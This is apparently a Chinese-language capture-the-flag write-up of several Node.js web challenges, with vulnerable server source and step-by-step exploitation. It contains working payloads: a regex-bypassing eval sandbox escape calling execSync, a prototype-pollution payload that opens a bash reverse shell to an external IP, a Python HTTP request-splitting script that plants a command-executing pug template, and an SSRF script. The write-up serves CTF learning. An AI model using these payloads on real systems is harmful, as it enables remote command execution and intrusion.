[NPUCTF2020]验证🐎 /source给到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 const express = require('express'); const bodyParser = require('body-parser'); const cookieSession = require('cookie-session'); const fs = require('fs'); const crypto = require('crypto'); const keys = require('./key.js').keys; function md5(s) { return crypto.createHash('md5') .update(s) .digest('hex'); } function saferEval(str) { if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) { return null; } return eval(str); } // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个 const template = fs.readFileSync('./index.html').toString(); function render(results) { return template.replace('{{results}}', results.join('<br/>')); } const app = express(); app.use(bodyParser.urlencoded({ extended: false })); app.use(bodyParser.json()); app.use(cookieSession({ name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,给👴爪⑧ keys })); Object.freeze(Object); Object.freeze(Math); app.post('/', function (req, res) { let result = ''; const results = req.session.results || []; const { e, first, second } = req.body; if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) { if (req.body.e) { try { result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!'; } catch (e) { console.log(e); result = 'Wrong Wrong Wrong!!!'; } results.unshift(`${req.body.e}=${result}`); } } else { results.unshift('Not verified!'); } if (results.length > 13) { results.pop(); } req.session.results = results; res.send(render(req.session.results)); }); // 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI app.get('/source', function (req, res) { res.set('Content-Type', 'text/javascript;charset=utf-8'); res.send(fs.readFileSync('./index.js')); }); app.get('/', function (req, res) { res.set('Content-Type', 'text/html;charset=utf-8'); req.session.admin = req.session.admin || 0; res.send(render(req.session.results = req.session.results || [])) }); app.listen(80, '0.0.0.0', () => { console.log('Start listening') });
简单审计,发现总共需要绕过两层
第一层:
1 if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0]))
第二层:
1 2 3 try { result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!'; }
去看到saferEval 方法
1 2 3 4 5 function saferEval(str) { if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) { return null; } return eval(str);
发现发现他可以返回执行但之前存在一个正则
ok,我们先来绕过第一层
1 if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0]))
利用nodejs语言的特性绕过弱比较
那么我们直接输入{"e":"1+1","first":[1],"second":"1"}
发现返回计算值,也就是说我们执行了saferEval 方法中的eval
那么也就是绕过了第一层的检测,那么我们看到第二层,重点也就是saferEval 方法中的正则绕过
1 2 3 4 5 function saferEval(str) { if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) { return null; } return eval(str);
(?:Math(?:\.\w+)?)
:匹配 Math.[0-9a-z]
[()+\-*/&|^%<>=,?:]
:匹配中括号内任意一个字符
(?:\d+\.?\d*(?:e\d+)?)
:匹配 数字开头 一个或零个点 一个或零个 e[0-9]
/g
:空格
这里我们先不来绕过,先来确定我们要做什么,这里要去执行命令获得flag,也就是说我们去调用一个方法或者函数,那么这个函数从哪里来呢,这里就需要用到JavaScript中的原型链的点
既然Math.constructor.constructor
返回的类型方法,那么我们就通过重新定义这个方法来达到我们需要的目的
这里就是实现了最简单的一个相加功能
ok,那么回到我们的题目上,这个题目要求我们用正则里拥有的字符来完成命令执行,那么很明显的有两个问题出现在我们的面前,一个是如何在不使用字符的情况下输入命令,另一个是如何实现函数的调用
第一个还是比较好解决的,我们可以直接通过编码转换进行绕过,第二个就稍微比较麻烦,这里要用到JavaScript中的=>
来实现函数的自调
这两种方法均可以实现函数自调,但这个很明显只能用()
函数自调明白了,我们来看我们需要调用到什么函数,这里应该是比较常见的child_process 库,它是一个bash解释器,可以执行系统命令,它里面有很多可以用来进行命令执行的函数
异步api:
exec(cmd, options, callback)
execFile(cmd, args, options, callback)
fork (模块路径, args, options) // 不一样的地方在于可以通信
spawn(cmd, args, options)
同步api:
execSync
execFileSync
pawnSync
这里重点就看两三个,其他的等如果有用到在仔细看
exec用法 :执行shell脚本
execFile用法 :可以执行文件
execSync 和execFileSync 实际与上述两个作用相同,但是执行api存在差异
这里利用process.mainModule.require
进行导入
那么我们来构造payload
我们先明确我们要执行的命令语句
1 return process.mainModule.require('child_process').execSync('cat /flag')
我们先将这个进行转换
1 Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41)
发现必须使用Math.
的格式 Math.constructor.constructor
无法被构造,那么Math=Math.constructor,Math.x=Math.constructor
来进行间接构造,然后再利用 =>
进行自调,这样整个payload基本就是出来了
1 (Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+2)
嗷对,这里稍微贴个博客 ,对于node.js要用的东西讲的比较全
[GYCTF2020]Ez_Express 这里进去没什么思路,扫了一下发现有源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 var express = require('express'); var router = express.Router(); const isObject = obj => obj && obj.constructor && obj.constructor === Object; const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a) => { return merge({}, a); } function safeKeyword(keyword) { if(keyword.match(/(admin)/is)) { return keyword } return undefined } router.get('/', function (req, res) { if(!req.session.user){ res.redirect('/login'); } res.outputFunctionName=undefined; res.render('index',data={'user':req.session.user.user}); }); router.get('/login', function (req, res) { res.render('login'); }); router.post('/login', function (req, res) { if(req.body.Submit=="register"){ if(safeKeyword(req.body.userid)){ res.end("<script>alert('forbid word');history.go(-1);</script>") } req.session.user={ 'user':req.body.userid.toUpperCase(), 'passwd': req.body.pwd, 'isLogin':false } res.redirect('/'); } else if(req.body.Submit=="login"){ if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")} if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){ req.session.user.isLogin=true; } else{ res.end("<script>alert('error passwd');history.go(-1);</script>") } } res.redirect('/'); ; }); router.post('/action', function (req, res) { if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} req.session.user.data = clone(req.body); res.end("<script>alert('success');history.go(-1);</script>"); }); router.get('/info', function (req, res) { res.render('index',data={'user':res.outputFunctionName}); }) module.exports = router;
简单审计一波,可以看到很明显的定义两个函数
1 2 3 4 5 6 7 8 9 10 const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a }
1 2 3 const clone = (a) => { return merge({}, a); }
看到这两个东西,就基本可以确定是一道原型链污染的题目了
clone 函数实际上就是调用merge 来完成,那么我们主要就是来看merge ,运用一个递归,将两个对象合并,存在的漏洞点也很明显a[attr] = b[attr];
,我们通过构造attr 为**_proto _**就可以实现原型链的污染了
ok,明白了污染点,我们来看哪里调用到了这两个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 router.post('/login', function (req, res) { if(req.body.Submit=="register"){ if(safeKeyword(req.body.userid)){ res.end("<script>alert('forbid word');history.go(-1);</script>") } req.session.user={ 'user':req.body.userid.toUpperCase(), 'passwd': req.body.pwd, 'isLogin':false } res.redirect('/'); } else if(req.body.Submit=="login"){ if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")} if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){ req.session.user.isLogin=true; } else{ res.end("<script>alert('error passwd');history.go(-1);</script>") } } res.redirect('/'); ; }); router.post('/action', function (req, res) { if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} req.session.user.data = clone(req.body); res.end("<script>alert('success');history.go(-1);</script>"); }); router.get('/info', function (req, res) { res.render('index',data={'user':res.outputFunctionName}); }) module.exports = router;
很明显可以看到在**/action的路由下调用到了 clone**函数
但在这个之前需要绕过一个判断if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
才能执行到我们需要的req.session.user.data = clone(req.body);
那么思路就已经显而易见了,通过伪造一个ADMIN 身份,来执行原型链污染,从而造成命令执行的效果
那么污染什么呢,这个其实很好找
1 2 3 router.get('/info', function (req, res) { res.render('index',data={'user':res.outputFunctionName}); })
怎么伪造这个ADMIN 身份,显然不会是直接这么轻松
1 2 3 if(safeKeyword(req.body.userid)){ res.end("<script>alert('forbid word');history.go(-1);</script>") }
1 2 3 4 5 6 7 function safeKeyword(keyword) { if(keyword.match(/(admin)/is)) { return keyword } return undefined }
可以看到其实是有一层安全防护在的
但仔细看还是会发现其实存在一点问题,Javascript是一个大小写敏感的语言,虽然我们传入的不管是大小写都会被检测,最后的检测却固定为ADMIN ,也就是说他中间一定是存在一个大小写转化的步骤
仔细再看一遍就可以发现端倪'user':req.body.userid.toUpperCase()
.这个对传入的userid 进行了一个大小写转化,搜了一下发现这里其实是存在可以利用的漏洞的,我在另一篇文章里就具体的记录,这里就不在过的的赘述,简单说一下他的利用方式
toUpperCase中存在两个特殊的字符**”ı”、 “ſ”,而这两个的大写为 I和 S**,也就说 “ı”.toUpperCase() == ‘I’,”ſ”.toUpperCase() == ‘S’ 可以用其特性来进行绕过
这回思路彻底明朗了,通过admın 来伪造身份,在**/action**路由下传入进行污染
1 {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.236.106.198/9000 0>&1\"');var __tmp2"}}
访问**/info**路由,执行这个payload,就可以实现反弹shell了
这里还有个思路是直接在**/action**路由下传入命令执行
1 {"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}
同样只要访问**/info**路由就可以获得flag了
[GYCTF2020]Node Game 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 var express = require('express'); var app = express(); var fs = require('fs'); var path = require('path'); var http = require('http'); var pug = require('pug'); var morgan = require('morgan'); const multer = require('multer'); app.use(multer({dest: './dist'}).array('file')); app.use(morgan('short')); app.use("/uploads", express.static(path.join(__dirname, '/uploads'))) app.use("/template", express.static(path.join(__dirname, '/template'))) app.get('/', function(req, res) { var action = req.query.action ? req.query.action : "index"; if (action.includes("/") || action.includes("\\")) { res.send("Errrrr, You have been Blocked"); } file = path.join(__dirname + '/template/' + action + '.pug'); var html = pug.renderFile(file); res.send(html); }); app.post('/file_upload', function(req, res) { var ip = req.connection.remoteAddress; var obj = { msg: '', } if (!ip.includes('127.0.0.1')) { obj.msg = "only admin's ip can use it" res.send(JSON.stringify(obj)); return } fs.readFile(req.files[0].path, function(err, data) { if (err) { obj.msg = 'upload failed'; res.send(JSON.stringify(obj)); } else { var file_path = '/uploads/' + req.files[0].mimetype + "/"; var file_name = req.files[0].originalname var dir_file = __dirname + file_path + file_name if (!fs.existsSync(__dirname + file_path)) { try { fs.mkdirSync(__dirname + file_path) } catch (error) { obj.msg = "file type error"; res.send(JSON.stringify(obj)); return } } try { fs.writeFileSync(dir_file, data) obj = { msg: 'upload success', filename: file_path + file_name } } catch (error) { obj.msg = 'upload failed'; } res.send(JSON.stringify(obj)); } }) }) app.get('/source', function(req, res) { res.sendFile(path.join(__dirname + '/template/source.txt')); }); app.get('/core', function(req, res) { var q = req.query.q; var resp = ""; if (q) { var url = 'http://localhost:8081/source?' + q console.log(url) var trigger = blacklist(url); if (trigger === true) { res.send("error occurs!"); } else { try { http.get(url, function(resp) { resp.setEncoding('utf8'); resp.on('error', function(err) { if (err.code === "ECONNRESET") { console.log("Timeout occurs"); return; } }); resp.on('data', function(chunk) { try { resps = chunk.toString(); res.send(resps); } catch (e) { res.send(e.message); } }).on('error', (e) => { res.send(e.message); }); }); } catch (error) { console.log(error); } } } else { res.send("search param 'q' missing!"); } }) function blacklist(url) { var evilwords = ["global", "process", "mainModule", "require", "root", "child_process", "exec", "\"", "'", "!"]; var arrayLen = evilwords.length; for (var i = 0; i < arrayLen; i++) { const trigger = url.includes(evilwords[i]); if (trigger === true) { return true } } } var server = app.listen(8081, function() { var host = server.address().address var port = server.address().port console.log("Example app listening at http://%s:%s", host, port) })
这题思路还是比较简单的,简单先来解析这段源码
很明显的是设定了几个路由和一个黑名单
先来看几个路由的内容
/路由下,对传入的目录进行了限制,但可以通过 pug 模板渲染/template
目录下指定的文件
file_upload 路由有对IP 的限制,很明显需要借助SSRF,这里var file_path = '/uploads/' + req.files[0].mimetype +"/";
中的mimetype
我们可以通过Content-Type
进行控制,如果改为../template
,经过拼接后,文件的保存目录就会变成_dirname/uploads/../template/shell.pug
。这样就可以保存到/template
目录下,然后我们就可以通过上面的action
进行渲染,也可以通过直接构造命令,实现命令执行
core 路由中,先是对参数q
的内容进行检查,如果通过了检查,就会通过内网URL 发起一次GET 请求/source
目录,这里显然就可以进行SSRF
但这里存在一个问题,就是虽然存在内网请求,但是被绑定在了**/source**目录下
搜索了一下,发现漏洞点在http.get(url, function(resp)
,利用HTTP请求拆分漏洞来实现
当 Node.js 使用 http.get 向特定路径发出HTTP 请求时,发出的请求实际上被定向到了不一样的路径,这是因为NodeJS 中 Unicode 字符损坏 导致的 HTTP 拆分攻击
对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码字符集,不能表示高编号的Unicode字符,所以,当我们的请求路径中含有多字节编码的Unicode字符时,会被截断取最低字节,比如 \u0130
就会被截断为 \u30
当 Node.js v8 或更低版本 对此URL发出 GET
请求\u010D\u010A
时,它不会进行编码转义,因为它们不是HTTP控制字符,但是当结果字符串被编码为 latin1 写入路径时,这些字符将分别被截断为 “\r”(%0d)和 “\n”(%0a)
node8有对回车换行(HTTP协议控制字符)进行处理
但是它对Unicode编码的字符不会进行处理,因为他们并不是HTTP协议中的控制字符,但因为node.js默认使用latin1
编码,所以它在处理高位unicode字符时会产生截断从而会让某些特定字符产生回车换行。
这里其实看的有点半懵半懂的状态,也就说我们可以通过构造unicode字符来进行http请求走私 ,然后再通过构造mimetype 来实现命令执行
因为做的时候没有太明白,感觉好像懂了原理,但是自己构造不出来,这里就直接贴一个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import urllib.parse import requests payload = ''' HTTP/1.1 Host: x Connection: keep-alive POST /file_upload HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO9LPoNAg9lWRUItA Content-Length: {} cache-control: no-cache Host: 127.0.0.1 Connection: keep-alive {}''' body='''------WebKitFormBoundaryO9LPoNAg9lWRUItA Content-Disposition: form-data; name="file"; filename="flag.pug" Content-Type: ../template -var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()") -return x ------WebKitFormBoundaryO9LPoNAg9lWRUItA-- ''' more=''' GET /anythingelse HTTP/1.1 Host: x Connection: close x:''' payload = payload.format(len(body)+10,body)+more payload = payload.replace("\n", "\r\n") payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload) print(payload) session = requests.Session() session.trust_env = False session.get('http://1e1f41d5-6909-4538-a4c1-be1020cc04a7.node4.buuoj.cn:81/core?q=' + urllib.parse.quote(payload)) # response = session.get('http://8467d768-1851-4764-bf73-e93bedea88bc.node4.buuoj.cn:81/?action=lmonstergg') # print(response.text)
[2021祥云杯]secrets_of_admin 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 import * as express from 'express'; import { Request, Response, NextFunction } from 'express'; import * as createError from "http-errors"; import * as pdf from 'html-pdf'; import DB from '../database'; import * as fs from 'fs'; import * as path from 'path'; import * as crypto from 'crypto'; import { promisify } from 'util'; import { v4 as uuid } from 'uuid'; const readFile = promisify(fs.readFile) const getCheckSum = (filename: string): Promise<string> => { return new Promise((resolve, reject) => { const shasum = crypto.createHash('md5'); try { const s = fs.createReadStream(path.join(__dirname , "../files/", filename)); s.on('data', (data) => { shasum.update(data) }) s.on('end', () => { return resolve(shasum.digest('hex')); }) } catch (err) { reject(err) } }) } const checkAuth = (req: Request, res:Response, next:NextFunction) => { let token = req.signedCookies['token'] if (token && token["username"]) { if (token.username === 'superuser'){ next(createError(404)) // superuser is disabled since you can't even find it in database :) } if (token.isAdmin === true) { next(); } else { return res.redirect('/') } } else { next(createError(404)); } } const router = express.Router(); router.get('/', (_, res) => res.render('index', { message: `Only admin's function is implemented. 😖 `})) router.post('/', async (req, res) => { let { username, password } = req.body; if ( username && password) { if ( username == '' || typeof(username) !== "string" || password == '' || typeof(password) !== "string" ) { return res.render('index', { error: 'Parameters error 👻'}); } let data = await DB.Login(username, password) if(!data) { return res.render('index', { error : 'You are not admin 😤'}); } res.cookie('token', { username: username, isAdmin: true }, { signed: true }) res.redirect('/admin'); } else { return res.render('index', { error : 'Parameters cannot be blank 😒'}); } }) router.get('/admin', checkAuth, async (req, res) => { let token = req.signedCookies['token']; try { const files = await DB.listFile(token.username); if (files) { res.cookie('token', {username: token.username, files: files, isAdmin: true }, { signed: true }) } } catch (err) { return res.render('admin', { error: 'Something wrong ... 👻'}) } return res.render('admin'); }); router.post('/admin', checkAuth, (req, res, next) => { let { content } = req.body; if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){ // even admin can't be trusted right ? :) return res.render('admin', { error: 'Forbidden word 🤬'}); } else { let template = ` <html> <meta charset="utf8"> <title>Create your own pdfs</title> <body> <h3>${content}</h3> </body> </html> ` try { const filename = `${uuid()}.pdf` pdf.create(template, { "format": "Letter", "orientation": "portrait", "border": "0", "type": "pdf", "renderDelay": 3000, "timeout": 5000 }).toFile(`./files/${filename}`, async (err, _) => { if (err) next(createError(500)); const checksum = await getCheckSum(filename); await DB.Create('superuser', filename, checksum) return res.render('admin', { message : `Your pdf is successfully saved 🤑 You know how to download it right?`}); }); } catch (err) { return res.render('admin', { error : 'Failed to generate pdf 😥'}) } } }); // You can also add file logs here! router.get('/api/files', async (req, res, next) => { if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') { return next(createError(401)); } let { username , filename, checksum } = req.query; if (typeof(username) == "string" && typeof(filename) == "string" && typeof(checksum) == "string") { try { await DB.Create(username, filename, checksum) return res.send('Done') } catch (err) { return res.send('Error!') } } else { return res.send('Parameters error') } }); router.get('/api/files/:id', async (req, res) => { let token = req.signedCookies['token'] if (token && token['username']) { if (token.username == 'superuser') { return res.send('Superuser is disabled now'); } try { let filename = await DB.getFile(token.username, req.params.id) if (fs.existsSync(path.join(__dirname , "../files/", filename))){ return res.send(await readFile(path.join(__dirname , "../files/", filename))); } else { return res.send('No such file!'); } } catch (err) { return res.send('Error!'); } } else { return res.redirect('/'); } }); export default router;
附件里有一个数据库文件,打开后可以发现账号密码
1 INSERT INTO users (id, username, password) VALUES (1, 'admin','e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645');
同时在下面发现一段可能有用的数据
1 INSERT INTO files (username, filename, checksum) VALUES ('superuser','flag','be5a14a8e504a66979f6938338b0662c');`);
然后我们来主要分析一下这个index.ts
我们重点来看几个路由上的定义
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 router.get('/', (_, res) => res.render('index', { message: `Only admin's function is implemented. 😖 `})) router.post('/', async (req, res) => { let { username, password } = req.body; if ( username && password) { if ( username == '' || typeof(username) !== "string" || password == '' || typeof(password) !== "string" ) { return res.render('index', { error: 'Parameters error 👻'}); } let data = await DB.Login(username, password) if(!data) { return res.render('index', { error : 'You are not admin 😤'}); } res.cookie('token', { username: username, isAdmin: true }, { signed: true }) res.redirect('/admin'); } else { return res.render('index', { error : 'Parameters cannot be blank 😒'}); } })
/下 GET 请求其实并没有什么操作,我们主要来看POST 请求,获取username 和password 后显示判断类型,然后和数据库内数据进行比对,比对成功跳转到**/admin**路由,同时他会把身份信息扔到token里
1 2 3 4 res.cookie('token', { username: username, isAdmin: true }, { signed: true })
既然跳转到**/admin路由,我们就去 /admin**路由下看一眼
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 router.get('/admin', checkAuth, async (req, res) => { let token = req.signedCookies['token']; try { const files = await DB.listFile(token.username); if (files) { res.cookie('token', {username: token.username, files: files, isAdmin: true }, { signed: true }) } } catch (err) { return res.render('admin', { error: 'Something wrong ... 👻'}) } return res.render('admin'); }); router.post('/admin', checkAuth, (req, res, next) => { let { content } = req.body; if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){ // even admin can't be trusted right ? :) return res.render('admin', { error: 'Forbidden word 🤬'}); } else { let template = ` <html> <meta charset="utf8"> <title>Create your own pdfs</title> <body> <h3>${content}</h3> </body> </html> ` try { const filename = `${uuid()}.pdf` pdf.create(template, { "format": "Letter", "orientation": "portrait", "border": "0", "type": "pdf", "renderDelay": 3000, "timeout": 5000 }).toFile(`./files/${filename}`, async (err, _) => { if (err) next(createError(500)); const checksum = await getCheckSum(filename); await DB.Create('superuser', filename, checksum) return res.render('admin', { message : `Your pdf is successfully saved 🤑 You know how to download it right?`}); }); } catch (err) { return res.render('admin', { error : 'Failed to generate pdf 😥'}) } } });
这里我们可以看到不管是GET 还是POST 的请求,都会调用checkAuth 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 const checkAuth = (req: Request, res:Response, next:NextFunction) => { let token = req.signedCookies['token'] if (token && token["username"]) { if (token.username === 'superuser'){ next(createError(404)) // superuser is disabled since you can't even find it in database :) } if (token.isAdmin === true) { next(); } else { return res.redirect('/') } } else { next(createError(404)); } }
这个方法也挺好理解的,就是过滤掉了superuser ,token数据中不能包含superuser
回到**/admin路由, GET**请求下有一个 const files = await DB.listFile(token.username);
我们在数据库文件里可以找到这个方法的定义
1 2 3 4 5 6 7 8 static listFile(username: string): Promise<any> { return new Promise((resolve, reject) => { db.all(`SELECT filename, checksum FROM files WHERE username = ? ORDER BY filename`, username, (err, result) => { if (err) return reject(err); resolve(result); }) }) }
这个方法将该用户名下的所有文件名和checknum都给输出,回到GET 请求,将这些信息放入token中
然后来看POST 请求,同样先是过滤掉了superuser ,然后对content 信息进行过滤,绕过过滤后把content 信息放入一个html模板中,然后在./files/
目录下生成一个pdf文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 const getCheckSum = (filename: string): Promise<string> => { return new Promise((resolve, reject) => { const shasum = crypto.createHash('md5'); try { const s = fs.createReadStream(path.join(__dirname , "../files/", filename)); s.on('data', (data) => { shasum.update(data) }) s.on('end', () => { return resolve(shasum.digest('hex')); }) } catch (err) { reject(err) } }) }
根据文件名生成一段随机数
1 await DB.Create('superuser', filename, checksum)
把随机数和文件名放到superuser下,到这里**/admin**路由就差不多解释完了
然后来看**/api/files**路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 router.get('/api/files', async (req, res, next) => { if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') { return next(createError(401)); } let { username , filename, checksum } = req.query; if (typeof(username) == "string" && typeof(filename) == "string" && typeof(checksum) == "string") { try { await DB.Create(username, filename, checksum) return res.send('Done') } catch (err) { return res.send('Error!') } } else { return res.send('Parameters error') } });
简单粗暴,只能本地访问,说明需要我们ssrf,然后把这三个数据写入数据库
最后看**/api/files/:id**路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 router.get('/api/files/:id', async (req, res) => { let token = req.signedCookies['token'] if (token && token['username']) { if (token.username == 'superuser') { return res.send('Superuser is disabled now'); } try { let filename = await DB.getFile(token.username, req.params.id) if (fs.existsSync(path.join(__dirname , "../files/", filename))){ return res.send(await readFile(path.join(__dirname , "../files/", filename))); } else { return res.send('No such file!'); } } catch (err) { return res.send('Error!'); } } else { return res.redirect('/'); } });
也挺好理解的,限制superuser 身份,根据我们输入的id 去找到相应的文件并访问
看完整段代码,回到我们一开始发现的两个信息
一个是admin 身份的账号和密码,另一个很明显是我们需要获得的flag
1 INSERT INTO files (username, filename, checksum) VALUES ('superuser','flag','be5a14a8e504a66979f6938338b0662c');`);
但我们发现问题flag 属于superuser ,但superuser 不能用,也就是说我们需要把flag 给admin
所以我们来理一下思路,我们可以通过**/admin的 POST请求来实现ssrf,通过 /api/files来写入数据,通过我们可以控制的文件名命令执行,把flag给 admin**
这样我们就可以来进行构造
1 2 3 <script> var xhr = new XMLHttpRequest();xhr.open("GET", "http://127.0.0.1:8888/api/files?username=admin&filename=./flag&checksum=123", true);xhr.send(); </script>
这题直接借鉴大佬的payload,这里需要用到xxe,等node学的差不多了,打算先去看一下xxe的知识点了
这个payload整体还是看的懂的,解释一个点,为什么把filename=./flag
,其实也很好理解
我们看到创建的table中可以发现filename VARCHAR(255) NOT NULL UNIQUE
也就是flag原本就已经在存在了,所以可以利用./flag
进行绕过
写入后访问**/api/files/123**即可获得flag
[网鼎杯 2020 半决赛]BabyJS 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 var express = require('express'); var config = require('../config'); var url=require('url'); var child_process=require('child_process'); var fs=require('fs'); var request=require('request'); var router = express.Router(); var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1']; router.get('/', function(req, res, next) { res.json({}); }); router.get('/debug', function(req, res, next) { console.log(req.ip); if(blacklist.indexOf(req.ip)!=-1){ console.log('res'); var u=req.query.url.replace(/[\"\']/ig,''); console.log(url.parse(u).href); let log=`echo '${url.parse(u).href}'>>/tmp/log`; console.log(log); child_process.exec(log); res.json({data:fs.readFileSync('/tmp/log').toString()}); }else{ res.json({}); } }); router.post('/debug', function(req, res, next) { console.log(req.body); if(req.body.url !== undefined) { var u = req.body.url; var urlObject=url.parse(u); if(blacklist.indexOf(urlObject.hostname) == -1){ var dest=urlObject.href; request(dest,(err,result,body)=>{ res.json(body); }) } else{ res.json([]); } } }); module.exports = router;
稍微找了一下主函数,看到黑名单,很容易想到ssrf,猜测考点是ssrf + node.js
然后我们具体来看代码,前面没什么好看的,根 路由下面没有什么东西,但两个**/debug**路由下面就比较有意思了,这里大致看了一下都用到了黑名单,但是两个检测的东西不同,我们稍微来看一下
1 blacklist.indexOf(urlObject.hostname) == -1
1 blacklist.indexOf(req.ip)!=-1
我们具体看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 const { URL } = require('url'); const u = 'http://127.0.0.1:8080/path/name?query=string#hash'; let parsedUrl = new URL(u); console.log(parsedUrl); /**URL { href: 'http://127.0.0.1:8080/path/name?query=string#hash', origin: 'http://127.0.0.1:8080', protocol: 'http:', username: '', password: '', host: '127.0.0.1:8080', hostname: '127.0.0.1', port: '8080', pathname: '/path/name', search: '?query=string', searchParams: URLSearchParams { 'query' => 'string' }, hash: '#hash' }**/ console.log(parsedUrl.href);//http://127.0.0.1:8080/path/name?query=string#has console.log(parsedUrl.hostname)//127.0.0.1
ok,回到题目上,很明显可以发现GET 请求下的检测更加严格,它是对ip 进行检测,而POST 请求下只是对传入url中的主机名进行检测
